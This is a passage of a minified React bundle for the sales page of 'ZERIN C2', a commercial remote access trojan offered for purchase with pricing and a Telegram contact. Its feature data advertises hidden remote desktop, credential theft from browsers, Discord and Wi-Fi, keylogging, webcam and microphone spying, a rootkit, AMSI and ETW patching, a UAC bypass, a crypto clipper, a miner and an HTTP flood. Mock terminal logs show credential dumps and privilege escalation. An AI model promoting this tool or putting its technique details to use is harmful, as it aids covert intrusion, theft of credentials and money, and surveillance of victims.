2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function $3(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const mV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function C2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return as.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(C2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(C2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const xV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function vV({cat:e,index:t}){const{ref:n,visible:r}=$3(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(xV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(hV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function gV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:Ai.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function ql({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function yV(){const[e,t]=p.useState(!1),[n,r]=p.useState(Ai[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Ai.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=Ai.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(mV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(ot,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(ot,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(ot,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(ot,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(gV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",Ai.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(ql,{value:String(a),label:"Capabilities"}),s.jsx(ql,{value:"13",label:"Persist Methods"}),s.jsx(ql,{value:"11",label:"Rootkit Hooks"}),s.jsx(ql,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Ai.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Ai.map((o,l)=>s.jsx(vV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(ot,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function 